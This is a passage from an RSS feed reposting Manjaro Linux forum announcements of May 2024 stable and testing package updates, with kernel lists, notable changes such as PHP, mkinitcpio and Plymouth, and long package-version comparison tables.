<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<h2><a name="our-current-supported-kernels-5" class="anchor" href="https://forum.manjaro.org/#our-current-supported-kernels-5"></a>Our current supported kernels</h2>
<ul>
<li>linux419 4.19.313</li>
<li>linux54 5.4.275</li>
<li>linux510 5.10.216</li>
<li>linux515 5.15.158</li>
<li>linux61 6.1.90</li>
<li>linux66 6.6.30</li>
<li>linux68 6.8.9</li>
<li>linux69 6.9.0</li>
<li>linux61-rt 6.1.83_rt28</li>
<li>linux66-rt 6.6.23_rt28</li>
<li>linux67-rt 6.7_rt6</li>
</ul>
<h2><a name="package-changes-wed-may-8-164455-cest-2024-6" class="anchor" href="https://forum.manjaro.org/#package-changes-wed-may-8-164455-cest-2024-6"></a>Package Changes (Wed May 8 16:44:55 CEST 2024)</h2>
<ul>
<li>stable core x86_64:  11 new and 11 removed package(s)</li>
<li>stable extra x86_64:  89 new and 93 removed package(s)</li>
<li>stable multilib x86_64:  1 new and 1 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-13           2024-05-18
-------------------------------------------------------------------------------
                           amd-ucode20240409.1addd7dc-1.1  20240510.b9d2bf23-1
                      linux-firmware20240409.1addd7dc-1.1  20240510.b9d2bf23-1
                linux-firmware-bnx2x20240409.1addd7dc-1.1  20240510.b9d2bf23-1
             linux-firmware-liquidio20240409.1addd7dc-1.1  20240510.b9d2bf23-1
              linux-firmware-marvell20240409.1addd7dc-1.1  20240510.b9d2bf23-1
             linux-firmware-mellanox20240409.1addd7dc-1.1  20240510.b9d2bf23-1
                  linux-firmware-nfp20240409.1addd7dc-1.1  20240510.b9d2bf23-1
                 linux-firmware-qcom20240409.1addd7dc-1.1  20240510.b9d2bf23-1
               linux-firmware-qlogic20240409.1addd7dc-1.1  20240510.b9d2bf23-1
               linux-firmware-whence20240409.1addd7dc-1.1  20240510.b9d2bf23-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-13           2024-05-18
-------------------------------------------------------------------------------
                   linux-api-headers                6.7-1                6.8-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-13           2024-05-18
-------------------------------------------------------------------------------
                            chromium     124.0.6367.155-1                    -
                          hibernator                0.5-1                    -
                   os-session-select           20240512-2           20240515-1
               os-session-select-hhd           20240512-2           20240515-1
              os-session-select-ogui           20240512-2           20240515-1
                       steam-deckify           20240512-2                    -
                  xorgproto-transfer            2019.12-1                    -
                            decklike                    -           20240515-1
                manjaro-installer-gd                    -              0.0.1-4


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-13           2024-05-18
-------------------------------------------------------------------------------
                              argocd             2.10.8-1             2.11.0-1
                                arti              1.2.1-1              1.2.2-1
                     cargo-tarpaulin             0.29.1-1             0.29.2-1
                            chromium     124.0.6367.118-1     124.0.6367.155-1
                               cmake             3.29.2-1             3.29.3-1
                           distrobox            1.7.2.0-1            1.7.2.1-1
                                 dnf             4.19.0-2             4.20.0-1
                                dolt          1:1.35.13-1           1:1.36.0-1
                             esbuild             0.20.2-1             0.21.0-1
                            fail2ban              1.1.0-3              1.1.0-4
                               gcc12             12.3.0-6                    -
                       gcc12-fortran             12.3.0-6                    -
                          gcc12-libs             12.3.0-6                    -
                                giac           1.9.0.97-1           1.9.0.99-1
                              gitlab            16.11.1-1            16.11.2-1
                       gitlab-gitaly            16.11.1-1            16.11.2-1
                        gitlab-pages            16.11.1-1            16.11.2-1
                         gnome-shell             1:46.1-1             1:46.1-2
                    gnome-shell-docs             1:46.1-1             1:46.1-2
                                  go           2:1.22.2-1           2:1.22.3-1
                           hyprpaper              0.6.0-4              0.7.0-1
                             jujutsu             0.17.0-4             0.17.1-1
                            keycloak             24.0.3-1             24.0.4-1
                        link-grammar             5.12.3-3             5.12.3-4
                          metasploit              6.4.6-1              6.4.7-1
                               minio         2024.05.01-1         2024.05.07-1
                     nodejs-lts-iron            20.12.2-1            20.13.0-1
                                 npm             10.5.2-1             10.7.0-1
            nvidia-container-toolkit             1.15.0-1             1.15.0-2
                            onefetch             2.20.0-3             2.21.0-1
                             osbuild                117-1                118-1
                            pcsclite              2.2.0-4              2.2.1-1
                                 php              8.3.6-1              8.3.7-1
                          php-apache              8.3.6-1              8.3.7-1
                             php-cgi              8.3.6-1              8.3.7-1
                           php-dblib              8.3.6-1              8.3.7-1
                           php-embed              8.3.6-1              8.3.7-1
                         php-enchant              8.3.6-1              8.3.7-1
                             php-fpm              8.3.6-1              8.3.7-1
                              php-gd              8.3.6-1              8.3.7-1
                          php-legacy             8.2.18-1             8.2.19-1
                   php-legacy-apache             8.2.18-1             8.2.19-1
                      php-legacy-cgi             8.2.18-1             8.2.19-1
                    php-legacy-dblib             8.2.18-1             8.2.19-1
                    php-legacy-embed             8.2.18-1             8.2.19-1
                  php-legacy-enchant             8.2.18-1             8.2.19-1
                      php-legacy-fpm             8.2.18-1             8.2.19-1
                       php-legacy-gd             8.2.18-1             8.2.19-1
                     php-legacy-odbc             8.2.18-1             8.2.19-1
                    php-legacy-pgsql             8.2.18-1             8.2.19-1
                   php-legacy-phpdbg             8.2.18-1             8.2.19-1
                   php-legacy-pspell             8.2.18-1             8.2.19-1
                     php-legacy-snmp             8.2.18-1             8.2.19-1
                   php-legacy-sodium             8.2.18-1             8.2.19-1
                   php-legacy-sqlite             8.2.18-1             8.2.19-1
                     php-legacy-tidy             8.2.18-1             8.2.19-1
                      php-legacy-xsl             8.2.18-1             8.2.19-1
                            php-odbc              8.3.6-1              8.3.7-1
                           php-pgsql              8.3.6-1              8.3.7-1
                          php-phpdbg              8.3.6-1              8.3.7-1
                          php-pspell              8.3.6-1              8.3.7-1
                            php-snmp              8.3.6-1              8.3.7-1
                          php-sodium              8.3.6-1              8.3.7-1
                          php-sqlite              8.3.6-1              8.3.7-1
                            php-tidy              8.3.6-1              8.3.7-1
                             php-xsl              8.3.6-1              8.3.7-1
                     plasma-firewall              6.0.4-1              6.0.4-2
                      python-astroid              3.1.0-5              3.2.0-1
           python-conway-polynomials                0.9-2               0.10-1
                    python-fakeredis             2.22.0-3             2.23.0-1
                       python-igraph             0.11.4-2             0.11.5-1
             python-pycrdt-websocket             0.13.3-1             0.13.4-1
                           python-uv             0.1.39-1             0.1.41-1
                                 qbs              2.3.0-1              2.3.1-1
                            qt6-base              6.7.0-5              6.7.0-6
             qt6-xcb-private-headers              6.7.0-5              6.7.0-6
                           qtcreator             13.0.0-1             13.0.1-1
                     qtcreator-devel             13.0.0-1             13.0.1-1
                              remind              4.3.6-1              4.3.7-1
                      signal-desktop              7.7.0-1              7.8.0-1
                           syncthing             1.27.6-1             1.27.7-1
                  syncthing-discosrv             1.27.6-1             1.27.7-1
                  syncthing-relaysrv             1.27.6-1             1.27.7-1
                                  uv             0.1.39-1             0.1.41-1
                              vector             0.37.1-1             0.38.0-1
                            wasmtime             20.0.1-1             20.0.2-1
                              waybar             0.10.2-2             0.10.3-1
                     add-determinism                    -              0.2.0-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-13           2024-05-18
-------------------------------------------------------------------------------
                      lib32-pcsclite              2.1.0-1              2.2.0-1

</code></pre>
<p><a href="https://forum.manjaro.org/t/stable-update-2024-05-18-linux-firmware-php-gitlab-qt6/162005/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
            <p><small>2 posts - 1 participant</small></p>
            <p><a href="https://forum.manjaro.org/t/stable-update-2024-05-18-linux-firmware-php-gitlab-qt6/162005">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2024-05-14 - Linux Firmware, Mkinitcpio, PHP, Plymouth]]></title>
<description><![CDATA[Hello community, here we have another set of package updates.
Current Promotions

Find out all about our current Gaming Laptop the Hero with Manjaro pre-installed from Spain!
Protect your personal data, keep yourself safe with Surfshark VPN: 85% OFF + 2 mo. FREE

Recent News

Manjaro Team member ...]]></description>
<link>https://tsecurity.de/de/2133319/unix-server/testing-update-2024-05-14-linux-firmware-mkinitcpio-php-plymouth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2133319/unix-server/testing-update-2024-05-14-linux-firmware-mkinitcpio-php-plymouth/</guid>
<pubDate>Fri, 03 May 2024 18:50:10 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello community, here we have another set of package updates.</p>
<h3><a name="current-promotions-1" class="anchor" href="https://forum.manjaro.org/#current-promotions-1"></a>Current Promotions</h3>
<ul>
<li>Find out all about our current <strong>Gaming Laptop</strong> the <a href="https://hero.manjaro.org/">Hero</a> with Manjaro pre-installed from Spain!</li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">85% OFF + 2 mo. FREE</a></li>
</ul>
<h2><a name="recent-news-2" class="anchor" href="https://forum.manjaro.org/#recent-news-2"></a>Recent News</h2>
<ul>
<li>Manjaro Team member <a class="mention" href="https://forum.manjaro.org/u/romangg">@romangg</a> has a new library project with a guest post on <a href="https://www.phoronix.com/review/the-compositor-modules-como">Phoronix</a>.</li>
<li>Some Manjaro team members attended <a href="https://forum.manjaro.org/t/manjaro-at-fosdem-2024/156525">FOSDEM 2024</a> and we showed off a prototype of the upcoming <a href="https://neo.manjaro.org/">Orange Pi Neo Handheld Gaming Console</a>!</li>
<li>Check out the new <a href="https://hero.manjaro.org/">Manjaro Slimbook Hero</a>!</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2024-05-14-linux-firmware-mkinitcpio-php-plymouth/161487/1">(click for more details)</a>
<h2><a name="notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#notable-package-updates-3"></a>Notable Package Updates</h2>
<ul>
<li>Small fixes to Firmwares</li>
<li><strong>mkinitcpio</strong> got updated to <a href="https://gitlab.archlinux.org/archlinux/mkinitcpio/mkinitcpio/-/releases/v39.1">39.1</a></li>
<li><strong>php</strong> got renewed</li>
<li>updates to <strong>gitlab</strong> related packages</li>
<li>small updates to <strong>qt6</strong></li>
<li><strong>plymouth</strong> is again at <a href="https://gitlab.freedesktop.org/plymouth/plymouth/-/releases/24.004.60">24.004.60</a>
<ul>
<li>report possible issues with that version, especially if you use AMD or Nvidia hardware</li>
</ul>
</li>
</ul>
<p>A list of all package changes can be found <a href="https://gitlab.manjaro.org/-/snippets/1004/raw">here</a></p>
<h2><a name="additional-info-4" class="anchor" href="https://forum.manjaro.org/#additional-info-4"></a>Additional Info</h2>

Python 3.12 info <a href="https://forum.manjaro.org/t/testing-update-2024-05-14-linux-firmware-mkinitcpio-php-plymouth/161487/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2024-05-14-linux-firmware-mkinitcpio-php-plymouth/161487/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<h2><a name="our-current-supported-kernels-5" class="anchor" href="https://forum.manjaro.org/#our-current-supported-kernels-5"></a>Our current supported kernels</h2>
<ul>
<li>linux419 4.19.313</li>
<li>linux54 5.4.275</li>
<li>linux510 5.10.216</li>
<li>linux515 5.15.158</li>
<li>linux61 6.1.90</li>
<li>linux66 6.6.30</li>
<li>linux68 6.8.9</li>
<li>linux69 6.9.0</li>
<li>linux61-rt 6.1.83_rt28</li>
<li>linux66-rt 6.6.23_rt28</li>
<li>linux67-rt 6.7_rt6</li>
</ul>
<h2><a name="package-changes-wed-may-8-164455-cest-2024-6" class="anchor" href="https://forum.manjaro.org/#package-changes-wed-may-8-164455-cest-2024-6"></a>Package Changes (Wed May 8 16:44:55 CEST 2024)</h2>
<ul>
<li>testing core x86_64:  12 new and 12 removed package(s)</li>
<li>testing extra x86_64:  85 new and 90 removed package(s)</li>
<li>testing multilib x86_64:  1 new and 1 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                           amd-ucode20240409.1addd7dc-1.120240409.1addd7dc-1.2
                      linux-firmware20240409.1addd7dc-1.120240409.1addd7dc-1.2
                linux-firmware-bnx2x20240409.1addd7dc-1.120240409.1addd7dc-1.2
             linux-firmware-liquidio20240409.1addd7dc-1.120240409.1addd7dc-1.2
              linux-firmware-marvell20240409.1addd7dc-1.120240409.1addd7dc-1.2
             linux-firmware-mellanox20240409.1addd7dc-1.120240409.1addd7dc-1.2
                  linux-firmware-nfp20240409.1addd7dc-1.120240409.1addd7dc-1.2
                 linux-firmware-qcom20240409.1addd7dc-1.120240409.1addd7dc-1.2
               linux-firmware-qlogic20240409.1addd7dc-1.120240409.1addd7dc-1.2
               linux-firmware-whence20240409.1addd7dc-1.120240409.1addd7dc-1.2
                          mkinitcpio               38.1-1               39.1-2


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                   linux-api-headers                6.7-1                6.8-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                            chromium     124.0.6367.155-1                    -
                          hibernator                0.5-1                    -
                            plymouth         22.02.122-18          24.004.60-8
                  xorgproto-transfer            2019.12-1                    -


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                              argocd             2.10.8-1             2.11.0-1
                                arti              1.2.1-1              1.2.2-1
                     cargo-tarpaulin             0.29.1-1             0.29.2-1
                            chromium     124.0.6367.118-1     124.0.6367.155-1
                               cmake             3.29.2-1             3.29.3-1
                           distrobox            1.7.2.0-1            1.7.2.1-1
                                 dnf             4.19.0-2             4.20.0-1
                                dolt          1:1.35.13-1           1:1.36.0-1
                             esbuild             0.20.2-1             0.21.0-1
                            fail2ban              1.1.0-3              1.1.0-4
                               gcc12             12.3.0-6                    -
                       gcc12-fortran             12.3.0-6                    -
                          gcc12-libs             12.3.0-6                    -
                                giac           1.9.0.97-1           1.9.0.99-1
                              gitlab            16.11.1-1            16.11.2-1
                       gitlab-gitaly            16.11.1-1            16.11.2-1
                        gitlab-pages            16.11.1-1            16.11.2-1
                         gnome-shell             1:46.1-1             1:46.1-2
                    gnome-shell-docs             1:46.1-1             1:46.1-2
                                  go           2:1.22.2-1           2:1.22.3-1
                           hyprpaper              0.6.0-4              0.7.0-1
                             jujutsu             0.17.0-4             0.17.1-1
                            keycloak             24.0.3-1             24.0.4-1
                        link-grammar             5.12.3-3             5.12.3-4
                          metasploit              6.4.6-1              6.4.7-1
                               minio         2024.05.01-1         2024.05.07-1
                     nodejs-lts-iron            20.12.2-1            20.13.0-1
                                 npm             10.5.2-1             10.7.0-1
            nvidia-container-toolkit             1.15.0-1             1.15.0-2
                            onefetch             2.20.0-3             2.21.0-1
                             osbuild                117-1                118-1
                            pcsclite              2.2.0-4              2.2.1-1
                                 php              8.3.6-1              8.3.7-1
                          php-apache              8.3.6-1              8.3.7-1
                             php-cgi              8.3.6-1              8.3.7-1
                           php-dblib              8.3.6-1              8.3.7-1
                           php-embed              8.3.6-1              8.3.7-1
                         php-enchant              8.3.6-1              8.3.7-1
                             php-fpm              8.3.6-1              8.3.7-1
                              php-gd              8.3.6-1              8.3.7-1
                          php-legacy             8.2.18-1             8.2.19-1
                   php-legacy-apache             8.2.18-1             8.2.19-1
                      php-legacy-cgi             8.2.18-1             8.2.19-1
                    php-legacy-dblib             8.2.18-1             8.2.19-1
                    php-legacy-embed             8.2.18-1             8.2.19-1
                  php-legacy-enchant             8.2.18-1             8.2.19-1
                      php-legacy-fpm             8.2.18-1             8.2.19-1
                       php-legacy-gd             8.2.18-1             8.2.19-1
                     php-legacy-odbc             8.2.18-1             8.2.19-1
                    php-legacy-pgsql             8.2.18-1             8.2.19-1
                   php-legacy-phpdbg             8.2.18-1             8.2.19-1
                   php-legacy-pspell             8.2.18-1             8.2.19-1
                     php-legacy-snmp             8.2.18-1             8.2.19-1
                   php-legacy-sodium             8.2.18-1             8.2.19-1
                   php-legacy-sqlite             8.2.18-1             8.2.19-1
                     php-legacy-tidy             8.2.18-1             8.2.19-1
                      php-legacy-xsl             8.2.18-1             8.2.19-1
                            php-odbc              8.3.6-1              8.3.7-1
                           php-pgsql              8.3.6-1              8.3.7-1
                          php-phpdbg              8.3.6-1              8.3.7-1
                          php-pspell              8.3.6-1              8.3.7-1
                            php-snmp              8.3.6-1              8.3.7-1
                          php-sodium              8.3.6-1              8.3.7-1
                          php-sqlite              8.3.6-1              8.3.7-1
                            php-tidy              8.3.6-1              8.3.7-1
                             php-xsl              8.3.6-1              8.3.7-1
                     plasma-firewall              6.0.4-1              6.0.4-2
                      python-astroid              3.1.0-5              3.2.0-1
           python-conway-polynomials                0.9-2               0.10-1
                    python-fakeredis             2.22.0-3             2.23.0-1
                       python-igraph             0.11.4-2             0.11.5-1
             python-pycrdt-websocket             0.13.3-1             0.13.4-1
                           python-uv             0.1.39-1             0.1.41-1
                                 qbs              2.3.0-1              2.3.1-1
                            qt6-base              6.7.0-5              6.7.0-6
             qt6-xcb-private-headers              6.7.0-5              6.7.0-6
                           qtcreator             13.0.0-1             13.0.1-1
                     qtcreator-devel             13.0.0-1             13.0.1-1
                              remind              4.3.6-1              4.3.7-1
                      signal-desktop              7.7.0-1              7.8.0-1
                           syncthing             1.27.6-1             1.27.7-1
                  syncthing-discosrv             1.27.6-1             1.27.7-1
                  syncthing-relaysrv             1.27.6-1             1.27.7-1
                                  uv             0.1.39-1             0.1.41-1
                              vector             0.37.1-1             0.38.0-1
                            wasmtime             20.0.1-1             20.0.2-1
                              waybar             0.10.2-2             0.10.3-1
                     add-determinism                    -              0.2.0-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                      lib32-pcsclite              2.1.0-1              2.2.0-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2024-05-14-linux-firmware-mkinitcpio-php-plymouth/161487/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
            <p><small>4 posts - 3 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2024-05-14-linux-firmware-mkinitcpio-php-plymouth/161487">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] Linux Firmware, mkinitcpio, php, plymouth]]></title>
<description><![CDATA[Hello community, here we have another set of package updates.
Current Promotions

Find out all about our current Gaming Laptop the Hero with Manjaro pre-installed from Spain!
Protect your personal data, keep yourself safe with Surfshark VPN: 85% OFF + 2 mo. FREE

Recent News

Manjaro Team member ...]]></description>
<link>https://tsecurity.de/de/2132471/unix-server/testing-update-linux-firmware-mkinitcpio-php-plymouth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2132471/unix-server/testing-update-linux-firmware-mkinitcpio-php-plymouth/</guid>
<pubDate>Fri, 03 May 2024 08:56:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello community, here we have another set of package updates.</p>
<h3><a name="current-promotions-1" class="anchor" href="https://forum.manjaro.org/#current-promotions-1"></a>Current Promotions</h3>
<ul>
<li>Find out all about our current <strong>Gaming Laptop</strong> the <a href="https://hero.manjaro.org/">Hero</a> with Manjaro pre-installed from Spain!</li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">85% OFF + 2 mo. FREE</a></li>
</ul>
<h2><a name="recent-news-2" class="anchor" href="https://forum.manjaro.org/#recent-news-2"></a>Recent News</h2>
<ul>
<li>Manjaro Team member <a class="mention" href="https://forum.manjaro.org/u/romangg">@romangg</a> has a new library project with a guest post on <a href="https://www.phoronix.com/review/the-compositor-modules-como">Phoronix</a>.</li>
<li>Some Manjaro team members attended <a href="https://forum.manjaro.org/t/manjaro-at-fosdem-2024/156525">FOSDEM 2024</a> and we showed off a prototype of the upcoming <a href="https://neo.manjaro.org/">Orange Pi Neo Handheld Gaming Console</a>!</li>
<li>Check out the new <a href="https://hero.manjaro.org/">Manjaro Slimbook Hero</a>!</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-linux-firmware-mkinitcpio-php-plymouth/161487/1">(click for more details)</a>
<h2><a name="notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#notable-package-updates-3"></a>Notable Package Updates</h2>
<ul>
<li>Small fixes to Firmwares</li>
<li><strong>mkinitcpio</strong> got updated to <a href="https://gitlab.archlinux.org/archlinux/mkinitcpio/mkinitcpio/-/releases/v39.1">39.1</a></li>
<li><strong>php</strong> got renewed</li>
<li>updates to <strong>gitlab</strong> related packages</li>
<li>small updates to <strong>qt6</strong></li>
<li><strong>plymouth</strong> is again at <a href="https://gitlab.freedesktop.org/plymouth/plymouth/-/releases/24.004.60">24.004.60</a>
<ul>
<li>report possible issues with that version, especially if you use AMD or Nvidia hardware</li>
</ul>
</li>
</ul>
<p>A list of all package changes can be found <a href="https://gitlab.manjaro.org/-/snippets/1004/raw">here</a></p>
<h2><a name="additional-info-4" class="anchor" href="https://forum.manjaro.org/#additional-info-4"></a>Additional Info</h2>

Python 3.12 info <a href="https://forum.manjaro.org/t/testing-update-linux-firmware-mkinitcpio-php-plymouth/161487/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-linux-firmware-mkinitcpio-php-plymouth/161487/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<h2><a name="our-current-supported-kernels-5" class="anchor" href="https://forum.manjaro.org/#our-current-supported-kernels-5"></a>Our current supported kernels</h2>
<ul>
<li>linux419 4.19.313</li>
<li>linux54 5.4.275</li>
<li>linux510 5.10.216</li>
<li>linux515 5.15.158</li>
<li>linux61 6.1.90</li>
<li>linux66 6.6.30</li>
<li>linux68 6.8.9</li>
<li>linux69 6.9.0</li>
<li>linux61-rt 6.1.83_rt28</li>
<li>linux66-rt 6.6.23_rt28</li>
<li>linux67-rt 6.7_rt6</li>
</ul>
<h2><a name="package-changes-wed-may-8-164455-cest-2024-6" class="anchor" href="https://forum.manjaro.org/#package-changes-wed-may-8-164455-cest-2024-6"></a>Package Changes (Wed May 8 16:44:55 CEST 2024)</h2>
<ul>
<li>testing core x86_64:  12 new and 12 removed package(s)</li>
<li>testing extra x86_64:  85 new and 90 removed package(s)</li>
<li>testing multilib x86_64:  1 new and 1 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                           amd-ucode20240409.1addd7dc-1.120240409.1addd7dc-1.2
                      linux-firmware20240409.1addd7dc-1.120240409.1addd7dc-1.2
                linux-firmware-bnx2x20240409.1addd7dc-1.120240409.1addd7dc-1.2
             linux-firmware-liquidio20240409.1addd7dc-1.120240409.1addd7dc-1.2
              linux-firmware-marvell20240409.1addd7dc-1.120240409.1addd7dc-1.2
             linux-firmware-mellanox20240409.1addd7dc-1.120240409.1addd7dc-1.2
                  linux-firmware-nfp20240409.1addd7dc-1.120240409.1addd7dc-1.2
                 linux-firmware-qcom20240409.1addd7dc-1.120240409.1addd7dc-1.2
               linux-firmware-qlogic20240409.1addd7dc-1.120240409.1addd7dc-1.2
               linux-firmware-whence20240409.1addd7dc-1.120240409.1addd7dc-1.2
                          mkinitcpio               38.1-1               39.1-2


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                   linux-api-headers                6.7-1                6.8-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                            chromium     124.0.6367.155-1                    -
                          hibernator                0.5-1                    -
                            plymouth         22.02.122-18          24.004.60-8
                  xorgproto-transfer            2019.12-1                    -


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                              argocd             2.10.8-1             2.11.0-1
                                arti              1.2.1-1              1.2.2-1
                     cargo-tarpaulin             0.29.1-1             0.29.2-1
                            chromium     124.0.6367.118-1     124.0.6367.155-1
                               cmake             3.29.2-1             3.29.3-1
                           distrobox            1.7.2.0-1            1.7.2.1-1
                                 dnf             4.19.0-2             4.20.0-1
                                dolt          1:1.35.13-1           1:1.36.0-1
                             esbuild             0.20.2-1             0.21.0-1
                            fail2ban              1.1.0-3              1.1.0-4
                               gcc12             12.3.0-6                    -
                       gcc12-fortran             12.3.0-6                    -
                          gcc12-libs             12.3.0-6                    -
                                giac           1.9.0.97-1           1.9.0.99-1
                              gitlab            16.11.1-1            16.11.2-1
                       gitlab-gitaly            16.11.1-1            16.11.2-1
                        gitlab-pages            16.11.1-1            16.11.2-1
                         gnome-shell             1:46.1-1             1:46.1-2
                    gnome-shell-docs             1:46.1-1             1:46.1-2
                                  go           2:1.22.2-1           2:1.22.3-1
                           hyprpaper              0.6.0-4              0.7.0-1
                             jujutsu             0.17.0-4             0.17.1-1
                            keycloak             24.0.3-1             24.0.4-1
                        link-grammar             5.12.3-3             5.12.3-4
                          metasploit              6.4.6-1              6.4.7-1
                               minio         2024.05.01-1         2024.05.07-1
                     nodejs-lts-iron            20.12.2-1            20.13.0-1
                                 npm             10.5.2-1             10.7.0-1
            nvidia-container-toolkit             1.15.0-1             1.15.0-2
                            onefetch             2.20.0-3             2.21.0-1
                             osbuild                117-1                118-1
                            pcsclite              2.2.0-4              2.2.1-1
                                 php              8.3.6-1              8.3.7-1
                          php-apache              8.3.6-1              8.3.7-1
                             php-cgi              8.3.6-1              8.3.7-1
                           php-dblib              8.3.6-1              8.3.7-1
                           php-embed              8.3.6-1              8.3.7-1
                         php-enchant              8.3.6-1              8.3.7-1
                             php-fpm              8.3.6-1              8.3.7-1
                              php-gd              8.3.6-1              8.3.7-1
                          php-legacy             8.2.18-1             8.2.19-1
                   php-legacy-apache             8.2.18-1             8.2.19-1
                      php-legacy-cgi             8.2.18-1             8.2.19-1
                    php-legacy-dblib             8.2.18-1             8.2.19-1
                    php-legacy-embed             8.2.18-1             8.2.19-1
                  php-legacy-enchant             8.2.18-1             8.2.19-1
                      php-legacy-fpm             8.2.18-1             8.2.19-1
                       php-legacy-gd             8.2.18-1             8.2.19-1
                     php-legacy-odbc             8.2.18-1             8.2.19-1
                    php-legacy-pgsql             8.2.18-1             8.2.19-1
                   php-legacy-phpdbg             8.2.18-1             8.2.19-1
                   php-legacy-pspell             8.2.18-1             8.2.19-1
                     php-legacy-snmp             8.2.18-1             8.2.19-1
                   php-legacy-sodium             8.2.18-1             8.2.19-1
                   php-legacy-sqlite             8.2.18-1             8.2.19-1
                     php-legacy-tidy             8.2.18-1             8.2.19-1
                      php-legacy-xsl             8.2.18-1             8.2.19-1
                            php-odbc              8.3.6-1              8.3.7-1
                           php-pgsql              8.3.6-1              8.3.7-1
                          php-phpdbg              8.3.6-1              8.3.7-1
                          php-pspell              8.3.6-1              8.3.7-1
                            php-snmp              8.3.6-1              8.3.7-1
                          php-sodium              8.3.6-1              8.3.7-1
                          php-sqlite              8.3.6-1              8.3.7-1
                            php-tidy              8.3.6-1              8.3.7-1
                             php-xsl              8.3.6-1              8.3.7-1
                     plasma-firewall              6.0.4-1              6.0.4-2
                      python-astroid              3.1.0-5              3.2.0-1
           python-conway-polynomials                0.9-2               0.10-1
                    python-fakeredis             2.22.0-3             2.23.0-1
                       python-igraph             0.11.4-2             0.11.5-1
             python-pycrdt-websocket             0.13.3-1             0.13.4-1
                           python-uv             0.1.39-1             0.1.41-1
                                 qbs              2.3.0-1              2.3.1-1
                            qt6-base              6.7.0-5              6.7.0-6
             qt6-xcb-private-headers              6.7.0-5              6.7.0-6
                           qtcreator             13.0.0-1             13.0.1-1
                     qtcreator-devel             13.0.0-1             13.0.1-1
                              remind              4.3.6-1              4.3.7-1
                      signal-desktop              7.7.0-1              7.8.0-1
                           syncthing             1.27.6-1             1.27.7-1
                  syncthing-discosrv             1.27.6-1             1.27.7-1
